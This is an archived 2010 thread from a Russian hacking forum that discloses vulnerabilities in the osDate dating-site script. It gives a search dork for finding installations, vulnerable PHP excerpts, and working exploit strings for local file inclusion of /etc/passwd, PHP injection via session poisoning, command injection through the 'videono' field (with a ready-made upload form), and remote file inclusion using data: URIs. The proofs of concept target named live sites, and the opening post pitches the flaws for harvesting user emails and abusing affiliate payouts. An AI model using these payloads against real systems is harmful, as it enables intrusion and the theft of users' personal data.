RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости osDate(Open Source Dating System) (https://rdot.org/forum/showthread.php?t=29)

Iceangel_ 03.07.2010 16:26

Уязвимости osDate(Open Source Dating System)
 
Уязвимости osDate(Open Source Dating System) 2.1.9

download: http://www.tufat.com/files_lgpl/script_39.zip
dork: "Powered by osDate"

Думаю, если кто-нибудь занимается датингом, наверняка ему пригодится нижеизложенный обзор уязвимостей, т.к. в БД уязвимых сайтов хранятся адреса почтовых аккуантов пользователей... А также встроенная партнерская программа, зачисляющая на счет денежку, за привлеченных пользователей... ;)


1)[LFI]

/init.php
уязвимый код:
PHP код:

if ($_REQUEST['lang']!= '') {$opt_lang=$_REQUEST['lang'];}
elseif (
$_SESSION['opt_lang'] != '') {$opt_lang=str_replace("'",'',$_SESSION['opt_lang']);}
elseif (
$_COOKIE[$config['cookie_prefix'].'opt_lang'] != '') {$opt_lang=$_COOKIE[$config['cookie_prefix'].'opt_lang'];}
elseif (
$_SESSION['AdminId'] > 0) { $opt_lang $config['admin_lang']; }
else {
$opt_lang=DEFAULT_LANG; }

// hack - fix later                     //правильно-правильно, фиксируйте позже :DDD
if ( strlen$opt_lang ) <= ) {
    
$opt_lang DEFAULT_LANG;
}

/--/

include(
'language/lang_'.$opt_lang.'/profile_questions.php'); 

эксплуатирование:

Код:

init.php?lang=english/../../../../../../../../../../etc/passwd%00
POC:
Код:

http://findmaturepartner.com/init.php?lang=english/../../../../../../../../../../etc/passwd%00

2) [Определение сессии]
Чтобы было что инклудить...

уязвимый код:
/onlineusers.php
PHP код:

if ( !defined'SMARTY_DIR' ) ) {
    include_once( 
'init.php' );
}
/--/
$psize getPageSize(); 

/includes/internal/Functions.php
PHP код:

function getPageSize () {

    if ( isset( 
$_REQUEST['results_per_page'] ) && $_REQUEST['results_per_page'] ) {

        
$psize $_REQUEST['results_per_page'];

        
$GLOBALS['config']['search_results_per_page'] = $_REQUEST['results_per_page'] ;

        
$_SESSION['ResultsPerPage'] = $_REQUEST['results_per_page']; 

эксплуатирование:
Код:

onlineusers.php?results_per_page=<?php phpinfo(); ?>


раскрытие пути:
phpinfo.php находящийся в корневой директории

3) [Code execution]
уязвимый код:
/savevideo.php
PHP код:

//вот эта переменная будет отвечать за код, который будет у нас исполняться
$videono $_REQUEST['videono'];  
//здесь идет сравнение переменной с единицой, иначе переменной присвоится другое значение, нам этого не надо и чтобы обойти это, читаем статью Электа,
//"Важно только то, чтобы первым символом в строке было число - именно с ним произойдет сравнение."
if ($videono == '' or $videono or !isset($videono) or $videono == null$videono$osDB->getOne('select max(videono)+1 from ! where userid = ?',array(USER_VIDEOS_TABLE,$userid) );

/--/
if( 
is_uploaded_file$_FILES['txtimage']['tmp_name'] ) ) {    
    
$img_file $_FILES['txtimage']['tmp_name'];
    
$fname $_FILES['txtimage']['name'];
    
clearstatcache();
    
/* Create video file name */
    
if (substr_count($fname,'.flv') > || substr_count($fname,'.swf') > ) {   //также для эксплуатации уязвимости, отправляемый файл не должен содержать в своем имени .flv
        
/--/
    } else {

        
$video_filename $userinfo['username'].'_V'.$videono.'_'.time().'.flv';
        include (
'mpeg2flv/mpeg2flv.php');
        
$rtn convert2flv($img_fileUSER_VIDEO_DIR.$video_filename);   //вызов злополучной функции 

/mpeg2flv/mpeg2flv.php
PHP код:

function convert2flv($fromfile$tofile) {
    
$this_dir dirname(__FILE__) . '/';
    
$ffmpeg_format="";
    if(
strstr($_SERVER['SERVER_SOFTWARE'],"Win32") or strstr($_SERVER['OS'],'Window')) {
        
$ffmpeg_format $this_dir."ffmpeg.exe -y -i %s %s"
    } else {
        
$ffmpeg_format "LD_LIBRARY_PATH=. ./ffmpeg -y -i %s %s > /dev/null 2>&1";    
    }

    
$ffmpeg_command sprintf($ffmpeg_format$fromfile$tofile);                 //формируется команда... 

    
if (system($ffmpeg_command$ret_value) === FALSE || $ret_value != 0) {   // а вот и исполнение нашего кода...
            // ffmpeg was failed
        
return FALSE;
    } elseif (!
is_file($tofile)) { return FALSE; }

    return 
TRUE;


эксплуатирование(работает только в Linux):
Для эксплуатации уязвимости, необходимо чтобы была определена $_SESSION['UserId'], а проще говоря, нужно быть залогиненным...
Отравляем файл(!= *.flv*) скрипту и переменную $videono начинающююся с цифры =>1, используя ; отсекаем место под нашу команду...

Набросал быстренько формочку, для удобства...
PHP код:

<form action="http://site.com/savevideo.php" method="post" enctype="multipart/form-data">
<
input type="file" name="txtimage"><br
<
input type="text" name="videono" value="2; id; ">
<
input type="submit" value="Execute"><br>
</
form

(c) Iceangel_ 2009

Atra Pluvia 07.07.2010 14:25

RFI(register globals = On):
../forum/adminLogin.php?config[forum_installed]=http://site/index.php%00
../forum/userLogin.php?config[forum_installed]=../../../../../../../../../etc/passwd%00

Code:

PHP код:

if ( $config['forum_installed'] == '' || $config['forum_installed'] == 'None' ) {
    include_once(
'None_forum.php');
} else {
    include_once(
$config['forum_installed'] . '_forum.php');


http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,<?php echo 'Test';?>

nikp
Работает, там просто файрволл не всё пропускает.

nikp 07.07.2010 14:53

Цитата:

Сообщение от Atra Pluvia (Сообщение 1262)
RFI(register globals = On):

http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,<?php echo 'Test';?>

Пост свежий, но пример не работает, можно показать работающий вариант?

Chelios 07.07.2010 15:11

Цитата:

Сообщение от nikp (Сообщение 1279)
Пост свежий, но пример не работает, можно показать работающий вариант?

работает

Код:

http://www.asksizim.com/forum/userLogin.php?config[forum_installed]=data:,%3C?php%20echo%20'11111111111111111111111';?%3E
||
\/
11111111111111111111111_forum.php


Часовой пояс GMT +3, время: 09:30.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot